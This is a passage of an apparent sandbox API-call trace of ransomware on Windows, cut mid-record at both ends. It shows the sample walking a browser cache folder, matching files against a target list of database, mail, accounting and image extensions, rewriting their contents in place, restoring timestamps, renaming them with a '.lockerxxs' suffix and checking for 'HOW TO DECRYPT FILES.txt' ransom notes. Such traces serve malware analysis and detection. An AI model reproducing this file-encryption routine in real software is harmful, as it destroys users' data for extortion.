Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg." [0082.936] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.lockerxxs" [0082.937] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.938] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1694 [0082.938] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53194530, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53194530, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53194530, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.938] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.938] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x166e, lpOverlapped=0x0) returned 1 [0082.940] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg") returned="BBBPMvJ[1].jpg" [0082.940] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.940] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x166e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x166e, lpOverlapped=0x0) returned 1 [0082.940] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.941] CloseHandle (hObject=0xa4) returned 1 [0082.941] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg.lockerxxs")) returned 1 [0082.942] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539e9230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539e9230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53a0f390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x85d, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBUL3E[1].jpg", cAlternateFileName="BBBUL3~1.JPG")) returned 1 [0082.942] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.942] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBUL3E[1].jpg") returned 1 [0082.942] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBUL3E[1].jpg") returned 1 [0082.942] lstrcmpiA (lpString1="", lpString2="BBBUL3E[1].jpg") returned -1 [0082.942] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg") returned="BBBPMvJ[1].jpg" [0082.942] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.942] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.942] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.942] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.942] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBUL3E[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" [0082.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.ems") returned 0 [0082.942] lstrlenA (lpString="*.ems") returned 5 [0082.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.db") returned 0 [0082.942] lstrlenA (lpString="*.db") returned 4 [0082.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.dbf") returned 0 [0082.942] lstrlenA (lpString="*.dbf") returned 5 [0082.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.myox") returned 0 [0082.942] lstrlenA (lpString="*.myox") returned 6 [0082.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.myo") returned 0 [0082.942] lstrlenA (lpString="*.myo") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qbw") returned 0 [0082.943] lstrlenA (lpString="*.qbw") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qbb") returned 0 [0082.943] lstrlenA (lpString="*.qbb") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qbm") returned 0 [0082.943] lstrlenA (lpString="*.qbm") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qbo") returned 0 [0082.943] lstrlenA (lpString="*.qbo") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qbx") returned 0 [0082.943] lstrlenA (lpString="*.qbx") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qba") returned 0 [0082.943] lstrlenA (lpString="*.qba") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qby") returned 0 [0082.943] lstrlenA (lpString="*.qby") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qbj") returned 0 [0082.943] lstrlenA (lpString="*.qbj") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.ofx") returned 0 [0082.943] lstrlenA (lpString="*.ofx") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.qif") returned 0 [0082.943] lstrlenA (lpString="*.qif") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.mye") returned 0 [0082.943] lstrlenA (lpString="*.mye") returned 5 [0082.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.mbox") returned 0 [0082.943] lstrlenA (lpString="*.mbox") returned 6 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.eml") returned 0 [0082.944] lstrlenA (lpString="*.eml") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.pst") returned 0 [0082.944] lstrlenA (lpString="*.pst") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.ost") returned 0 [0082.944] lstrlenA (lpString="*.ost") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.idx") returned 0 [0082.944] lstrlenA (lpString="*.idx") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.dbx") returned 0 [0082.944] lstrlenA (lpString="*.dbx") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.sql") returned 0 [0082.944] lstrlenA (lpString="*.sql") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.mdb") returned 0 [0082.944] lstrlenA (lpString="*.mdb") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.fdb") returned 0 [0082.944] lstrlenA (lpString="*.fdb") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.wab") returned 0 [0082.944] lstrlenA (lpString="*.wab") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.dat") returned 0 [0082.944] lstrlenA (lpString="*.dat") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.txt") returned 0 [0082.944] lstrlenA (lpString="*.txt") returned 5 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.jpeg") returned 0 [0082.944] lstrlenA (lpString="*.jpeg") returned 6 [0082.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", pszSpec="*.jpg") returned 1 [0082.945] lstrlenA (lpString="*.jpg") returned 5 [0082.945] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" [0082.945] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" [0082.945] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg." [0082.945] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.lockerxxs" [0082.945] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.945] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85d [0082.945] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x539e9230, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x539e9230, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53a0f390, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.945] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.945] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x837, lpOverlapped=0x0) returned 1 [0082.947] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg") returned="BBBUL3E[1].jpg" [0082.947] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.948] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x837, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x837, lpOverlapped=0x0) returned 1 [0082.948] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.948] CloseHandle (hObject=0xa4) returned 1 [0082.948] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg.lockerxxs")) returned 1 [0082.949] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x515e8570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x515e8570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x515e8570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBUqkT[1].jpg", cAlternateFileName="BBBUQK~1.JPG")) returned 1 [0082.949] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.949] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBUqkT[1].jpg") returned 1 [0082.949] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBUqkT[1].jpg") returned 1 [0082.949] lstrcmpiA (lpString1="", lpString2="BBBUqkT[1].jpg") returned -1 [0082.949] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg") returned="BBBUL3E[1].jpg" [0082.949] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.949] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.949] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.949] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.949] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBUqkT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.ems") returned 0 [0082.950] lstrlenA (lpString="*.ems") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.db") returned 0 [0082.950] lstrlenA (lpString="*.db") returned 4 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.dbf") returned 0 [0082.950] lstrlenA (lpString="*.dbf") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.myox") returned 0 [0082.950] lstrlenA (lpString="*.myox") returned 6 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 